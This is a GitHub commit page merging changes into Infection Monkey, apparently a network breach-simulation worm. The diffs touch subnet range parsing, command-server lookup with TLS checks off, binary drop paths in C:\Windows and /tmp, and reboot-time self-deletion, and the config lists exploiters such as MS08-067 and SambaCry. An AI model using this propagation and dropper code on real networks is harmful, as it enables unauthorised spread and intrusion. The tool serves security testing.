Skip to content

Commit

Permalink
Merge pull request #117 from guardicore/develop
Browse files Browse the repository at this point in the history
Merge develop into master
  • Loading branch information
danielguardicore authored Apr 17, 2018
2 parents 10ffb71 + 3f0569a commit 6dc1f6f
Show file tree
Hide file tree
Showing 28 changed files with 4,751 additions and 720 deletions.
1 change: 1 addition & 0 deletions common/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
__author__ = 'itay.mizeretz'
1 change: 1 addition & 0 deletions common/network/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
__author__ = 'itay.mizeretz'
122 changes: 122 additions & 0 deletions common/network/network_range.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,122 @@
import random
import socket
import struct
from abc import ABCMeta, abstractmethod

import ipaddress

__author__ = 'itamar'


class NetworkRange(object):
__metaclass__ = ABCMeta

def __init__(self, shuffle=True):
self._shuffle = shuffle

def get_range(self):
"""
:return: Returns a sequence of IPs in an internal format (might be numbers)
"""
return self._get_range()

def __iter__(self):
"""
Iterator of ip addresses (strings) from the current range.
Use get_range if you want it in one go.
:return:
"""
base_range = self.get_range()
if self._shuffle:
random.shuffle(base_range)

for x in base_range:
yield self._number_to_ip(x)

@abstractmethod
def is_in_range(self, ip_address):
raise NotImplementedError()

@abstractmethod
def _get_range(self):
raise NotImplementedError()

@staticmethod
def get_range_obj(address_str):
address_str = address_str.strip()
if not address_str: # Empty string
return None
if -1 != address_str.find('-'):
return IpRange(ip_range=address_str)
if -1 != address_str.find('/'):
return CidrRange(cidr_range=address_str)
return SingleIpRange(ip_address=address_str)

@staticmethod
def _ip_to_number(address):
return struct.unpack(">L", socket.inet_aton(address))[0]

@staticmethod
def _number_to_ip(num):
return socket.inet_ntoa(struct.pack(">L", num))


class CidrRange(NetworkRange):
def __init__(self, cidr_range, shuffle=True):
super(CidrRange, self).__init__(shuffle=shuffle)
self._cidr_range = cidr_range.strip()
self._ip_network = ipaddress.ip_network(unicode(self._cidr_range), strict=False)

def __repr__(self):
return "<CidrRange %s>" % (self._cidr_range,)

def is_in_range(self, ip_address):
return ipaddress.ip_address(ip_address) in self._ip_network

def _get_range(self):
return [CidrRange._ip_to_number(str(x)) for x in self._ip_network if x != self._ip_network.broadcast_address]


class IpRange(NetworkRange):
def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle=True):
super(IpRange, self).__init__(shuffle=shuffle)
if ip_range is not None:
addresses = ip_range.split('-')
if len(addresses) != 2:
raise ValueError('Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20' % ip_range)
self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses]
elif (lower_end_ip is not None) and (higher_end_ip is not None):
self._lower_end_ip = lower_end_ip.strip()
self._higher_end_ip = higher_end_ip.strip()
else:
raise ValueError('Illegal IP range: %s' % ip_range)

self._lower_end_ip_num = self._ip_to_number(self._lower_end_ip)
self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip)
if self._higher_end_ip_num < self._lower_end_ip_num:
raise ValueError(
'Higher end IP %s is smaller than lower end IP %s' % (self._lower_end_ip, self._higher_end_ip))

def __repr__(self):
return "<IpRange %s-%s>" % (self._lower_end_ip, self._higher_end_ip)

def is_in_range(self, ip_address):
return self._lower_end_ip_num <= self._ip_to_number(ip_address) <= self._higher_end_ip_num

def _get_range(self):
return range(self._lower_end_ip_num, self._higher_end_ip_num + 1)


class SingleIpRange(NetworkRange):
def __init__(self, ip_address, shuffle=True):
super(SingleIpRange, self).__init__(shuffle=shuffle)
self._ip_address = ip_address

def __repr__(self):
return "<SingleIpRange %s>" % (self._ip_address,)

def is_in_range(self, ip_address):
return self._ip_address == ip_address

def _get_range(self):
return [SingleIpRange._ip_to_number(self._ip_address)]
8 changes: 4 additions & 4 deletions infection_monkey/config.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
import os
import struct
import sys
import types
import uuid
Expand All @@ -8,7 +9,6 @@
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter, ElasticGroovyExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
from network.range import FixedRange

__author__ = 'itamar'

Expand Down Expand Up @@ -116,7 +116,8 @@ def as_dict(self):
dropper_set_date = True
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
dropper_date_reference_path_linux = '/bin/sh'
dropper_target_path = r"C:\Windows\monkey.exe"
dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
dropper_target_path_linux = '/tmp/monkey'

###########################
Expand Down Expand Up @@ -183,8 +184,7 @@ def as_dict(self):
# Auto detect and scan local subnets
local_network_scan = True

range_class = FixedRange
range_fixed = ['', ]
subnet_scan_list = ['', ]

blocked_ips = ['', ]

Expand Down
74 changes: 46 additions & 28 deletions infection_monkey/control.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
from socket import gethostname

import requests
from requests.exceptions import ConnectionError

import monkeyfs
import tunnel
Expand All @@ -24,59 +25,77 @@ class ControlClient(object):
proxies = {}

@staticmethod
def wakeup(parent=None, default_tunnel=None, has_internet_access=None):
LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
if parent or default_tunnel:
LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel))
def wakeup(parent=None, has_internet_access=None):
if parent:
LOG.debug("parent: %s" % (parent,))

hostname = gethostname()
if not parent:
parent = GUID

if has_internet_access is None:
has_internet_access = check_internet_access(WormConfiguration.internet_services)

for server in WormConfiguration.command_servers:
try:
WormConfiguration.current_server = server
monkey = {'guid': GUID,
'hostname': hostname,
'ip_addresses': local_ips(),
'description': " ".join(platform.uname()),
'internet_access': has_internet_access,
'config': WormConfiguration.as_dict(),
'parent': parent}

monkey = {'guid': GUID,
'hostname': hostname,
'ip_addresses': local_ips(),
'description': " ".join(platform.uname()),
'internet_access': has_internet_access,
'config': WormConfiguration.as_dict(),
'parent': parent}
if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https')

if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https')
requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,),
data=json.dumps(monkey),
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies,
timeout=20)

@staticmethod
def find_server(default_tunnel=None):
LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers)
if default_tunnel:
LOG.debug("default_tunnel: %s" % (default_tunnel,))

current_server = ""

for server in WormConfiguration.command_servers:
try:
current_server = server

debug_message = "Trying to connect to server: %s" % server
if ControlClient.proxies:
debug_message += " through proxies: %s" % ControlClient.proxies
LOG.debug(debug_message)
reply = requests.post("https://%s/api/monkey" % (server,),
data=json.dumps(monkey),
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies,
timeout=20)
requests.get("https://%s/api?action=is-up" % (server,),
verify=False,
proxies=ControlClient.proxies)
WormConfiguration.current_server = current_server
break

except Exception as exc:
WormConfiguration.current_server = ""
except ConnectionError as exc:
current_server = ""
LOG.warn("Error connecting to control server %s: %s", server, exc)

if not WormConfiguration.current_server:
if not ControlClient.proxies:
if current_server:
return True
else:
if ControlClient.proxies:
return False
else:
LOG.info("Starting tunnel lookup...")
proxy_find = tunnel.find_tunnel(default=default_tunnel)
if proxy_find:
proxy_address, proxy_port = proxy_find
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
ControlClient.wakeup(parent=parent, has_internet_access=has_internet_access)
return ControlClient.find_server()
else:
LOG.info("No tunnel found")
return False

@staticmethod
def keepalive():
Expand Down Expand Up @@ -249,7 +268,6 @@ def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
data=json.dumps(host_dict),
headers={'content-type': 'application/json'},
verify=False, proxies=ControlClient.proxies)

if 200 == reply.status_code:
result_json = reply.json()
filename = result_json.get('filename')
Expand Down
52 changes: 29 additions & 23 deletions infection_monkey/dropper.py
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@ def __init__(self, args):
arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel')
arg_parser.add_argument('-s', '--server')
arg_parser.add_argument('-d', '--depth')
arg_parser.add_argument('-d', '--depth', type=int)
arg_parser.add_argument('-l', '--location')
self.monkey_args = args[1:]
self.opts, _ = arg_parser.parse_known_args(args)
Expand All @@ -53,10 +53,13 @@ def start(self):

if self._config['destination_path'] is None:
LOG.error("No destination path specified")
return
return False

# we copy/move only in case path is different
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path'])

if not file_moved and os.path.exists(self._config['destination_path']):
os.remove(self._config['destination_path'])

# first try to move the file
if not file_moved and WormConfiguration.dropper_try_move_first:
Expand Down Expand Up @@ -105,8 +108,8 @@ def start(self):
except:
LOG.warn("Cannot set reference date to destination file")

monkey_options = build_monkey_commandline_explicitly(
self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth))
monkey_options =\
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)

if OperatingSystem.Windows == SystemInfoCollector.get_os():
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
Expand All @@ -130,22 +133,25 @@ def start(self):
LOG.warn("Seems like monkey died too soon")

def cleanup(self):
if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
os.path.exists(self._config['source_path']) and \
WormConfiguration.dropper_try_move_first:
try:
if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \
os.path.exists(self._config['source_path']) and \
WormConfiguration.dropper_try_move_first:

# try removing the file first
try:
os.remove(self._config['source_path'])
except Exception as exc:
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)

# mark the file for removal on next boot
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None,
MOVEFILE_DELAY_UNTIL_REBOOT):
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
else:
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
self._config['source_path'])
# try removing the file first
try:
os.remove(self._config['source_path'])
except Exception as exc:
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)

# mark the file for removal on next boot
dropper_source_path_ctypes = c_char_p(self._config['source_path'])
if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None,
MOVEFILE_DELAY_UNTIL_REBOOT):
LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)",
self._config['source_path'], ctypes.windll.kernel32.GetLastError())
else:
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
self._config['source_path'])
except AttributeError:
LOG.error("Invalid configuration options. Failing")
6 changes: 3 additions & 3 deletions infection_monkey/example.conf
Original file line number Diff line number Diff line change
Expand Up @@ -7,8 +7,7 @@
"www.google.com"
],
"keep_tunnel_open_time": 60,
"range_class": "RelativeRange",
"range_fixed": [
"subnet_scan_list": [
""
],
"blocked_ips": [""],
Expand All @@ -23,7 +22,8 @@
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
"dropper_log_path_linux": "/tmp/user-1562",
"dropper_set_date": true,
"dropper_target_path": "C:\\Windows\\monkey.exe",
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
"dropper_target_path_linux": "/tmp/monkey",


Expand Down
Loading

0 comments on commit 6dc1f6f

Please sign in to comment.